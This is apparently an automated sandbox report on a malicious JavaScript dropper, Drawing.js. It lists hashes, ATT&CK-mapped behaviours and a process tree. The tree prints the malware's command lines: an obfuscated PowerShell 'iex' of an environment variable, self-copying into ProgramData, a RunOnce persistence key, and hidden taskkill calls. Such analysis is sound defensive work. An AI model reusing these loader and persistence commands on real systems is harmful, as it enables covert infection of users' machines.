6a3420bd4387b11a0ce02ff0cba6a13d5c5548f83af59281e0add18a0f517038

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/10/2026, 14:09

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General

Target
Drawing.js
Size 57KB
Sample261020-rf8hpsex2p
SHA256 6a3420bd4387b11a0ce02ff0cba6a13d5c5548f83af59281e0add18a0f517038
MD5 4e8636250413ba5f9a40d6d23c3e197c
SHA1 f0f6ef6e28c5d0c68bbfdd39d0418ebf36e45244
SHA512 abf1fc285698abcef8baa925d780766dcd918d2e3a063309cc84cf875bd2c863d854a314c567bcd56c8ead30fd16d7a54050eebd24ac3856faacc1a5a9956c47
SSDEEP 768:SJjegDmkTjfMHWkE1SgLIn09vcjcYBrFL24g28DRr4uTsMIur7:SJjegDmkTjoAdaxL7d8DB7
TLSH
T12643B7427237C37D8180558BC21ADD0E9BA88503455A9CB9BFAE29DEEB7DF00716E770
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2428	540	cmd.exe	88

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
14	1716	powershell.exe
15	1716	powershell.exe
16	1716	powershell.exe
24	1716	powershell.exe
30	1716	powershell.exe
32	1716	powershell.exe
33	1716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3612	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SbnhAaegcA = "\"C:\\ProgramData\\cFbdkig.js\""	powershell.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral1/memory/1716-15-0x00000133C65F0000-0x00000133C660E000-memory.dmp	SmartAssembly

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2864	cmd.exe
2428	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
2844	taskkill.exe
3968	taskkill.exe
4296	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
3612	powershell.exe
3612	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	2844	taskkill.exe
Token: SeDebugPrivilege	3968	taskkill.exe
Token: SeDebugPrivilege	4296	taskkill.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 1716	2428	cmd.exe	94
PID 1716 wrote to memory of 3612	1716	powershell.exe	98
PID 3612 wrote to memory of 2864	3612	powershell.exe	100
PID 2864 wrote to memory of 2844	2864	cmd.exe	102
PID 2864 wrote to memory of 3968	2864	cmd.exe	103
PID 2864 wrote to memory of 4296	2864	cmd.exe	104

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Drawing.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5100

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe ^&([char[]](105,101,120)-join'') $env:kSIfbAhkz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Drawing.js -Destination 'C:\ProgramData\cFbdkig.js' -Force
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe &([char[]](105,101,120)-join'') $env:kSIfbAhkz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Drawing.js -Destination 'C:\ProgramData\cFbdkig.js' -Force
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3612
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2864
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3968
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ee374d350562ffcd9da6153c2bb61f2dcc2a821422066a6b18ac86c0788cffa4
MD5 79f54211e64d6e9723d864ed913fae0d
SHA1 62af74a187ea86ac2c8d59789f24b56eea40fd88
SHA512 35bb9f798808b19c6ed3a40b61bdc6cf564805c79b754eb510fcfdf6bb4489e2db6a514a29346257b836b8c07aa6336fac91f84002b127832bc0856902b8cc14
TLSH
T12E219723F39CC921CC8A013A109E9C1476B283D741AECF9FAFC4D604E27F988CB61194
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_dhr3v3hd.ixp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhr3v3hd.ixp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1716-0-0x00000133DEB90000-0x00000133DEBA0000-memory.dmp

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memory/1716-8-0x00000133DEFF0000-0x00000133DF012000-memory.dmp

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memory/1716-9-0x00000133DEB90000-0x00000133DEBA0000-memory.dmp

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memory/1716-10-0x00000133DEB90000-0x00000133DEBA0000-memory.dmp

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memory/1716-11-0x00000133DEB90000-0x00000133DEBA0000-memory.dmp

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memory/1716-13-0x00000133DEB90000-0x00000133DEBA0000-memory.dmp

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memory/1716-12-0x00000133DECD0000-0x00000133DEEEC000-memory.dmp

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memory/1716-15-0x00000133C65F0000-0x00000133C660E000-memory.dmp

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memory/3612-25-0x00000213CC5E0000-0x00000213CC7FC000-memory.dmp

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